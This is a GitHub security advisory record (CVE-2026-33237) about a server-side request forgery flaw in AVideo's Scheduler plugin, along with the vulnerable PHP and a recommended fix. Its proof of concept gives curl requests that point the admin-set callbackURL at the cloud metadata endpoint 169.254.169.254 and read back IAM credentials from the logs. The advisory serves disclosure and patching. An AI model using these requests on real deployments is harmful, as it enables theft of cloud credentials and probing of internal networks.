{"id":"GHSA-v467-g7g7-hhfh","summary":"AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation","details":"## Summary\n\nThe Scheduler plugin's `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.\n\n## Details\n\nThe vulnerable code is at `plugin/Scheduler/Scheduler.php:157-166`:\n\n```php\n// Line 157: callback URL retrieved and site-root token substituted\n$callBackURL = $e-\u003egetCallbackURL();\n$callBackURL = str_replace('$SITE_ROOT_TOKEN', $global['webSiteRootURL'], $callBackURL);\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)\n// The critical missing check is:\n// if (!isSSRFSafeURL($callBackURL)) { return false; }\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);\n```\n\n`isValidURL()` in `objects/functions.php` uses `filter_var($url, FILTER_VALIDATE_URL)` — it validates URL syntax only and does not block internal/private network targets.\n\n`isSSRFSafeURL()` in `objects/functions.php:4021` explicitly blocks:\n- `127.x.x.x` / `::1` (loopback)\n- `10.x.x.x`, `172.16-31.x.x`, `192.168.x.x` (RFC-1918 private)\n- `169.254.x.x` (link-local, including AWS/GCP metadata at `169.254.169.254`)\n- IPv6 private ranges\n\nThis function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit `0e5638292`) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.\n\nAn admin can configure the `callbackURL` for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the \"Run now\" interface.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as admin\n\n# Step 2: Create a scheduled task with cloud metadata SSRF callback\ncurl -b \"admin_session=\u003csession\u003e\" -X POST \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \\\n  -d \"callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&status=a&type=&date_to_execute=2026-03-18+12:00:00\"\n\n# Step 3: Trigger immediate execution via Scheduler run endpoint\ncurl -b \"admin_session=\u003csession\u003e\" \\\n  https://target.avideo.site/plugin/Scheduler/run.php\n\n# Step 4: Read the scheduler execution logs\ncurl -b \"admin_session=\u003csession\u003e\" \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php\n# Response includes the AWS metadata API response with IAM role credentials\n```\n\n**Expected:** Internal network addresses rejected before HTTP request is made.\n**Actual:** The server makes an HTTP request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and the response (including AWS IAM role credentials) is stored in the scheduler execution log.\n\n## Impact\n\n- **Cloud credential theft:** On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (`169.254.169.254`), potentially enabling privilege escalation within the cloud environment.\n- **Internal service probing:** The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.\n- **Incomplete patch amplification:** The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added `isSSRFSafeURL()` to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.\n- **Blast radius:** Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation to the Scheduler callback URL before `url_get_contents()` is called, consistent with the existing SSRF fixes in `plugin/LiveLinks/proxy.php` and `objects/aVideoEncoder.json.php`:\n\n```php\n$callBackURL = $e-\u003egetCallbackURL();\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// Add this SSRF check — same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw):\nif (!isSSRFSafeURL($callBackURL)) {\n    _error_log(\"Scheduler::run SSRF protection blocked callbackURL: \" . $callBackURL);\n    return false;\n}\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);\n```","aliases":["CVE-2026-33237"],"modified":"2026-04-13T17:49:01.890252Z","published":"2026-03-19T12:43:23Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-03-19T12:43:23Z","nvd_published_at":"2026-03-21T00:16:26Z","cwe_ids":["CWE-918"]},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-v467-g7g7-hhfh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33237"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/issues/10403"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/df926e500580c2a1e3c70351f0c30f4e15c0fd83"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 25.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-v467-g7g7-hhfh/GHSA-v467-g7g7-hhfh.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N"}]}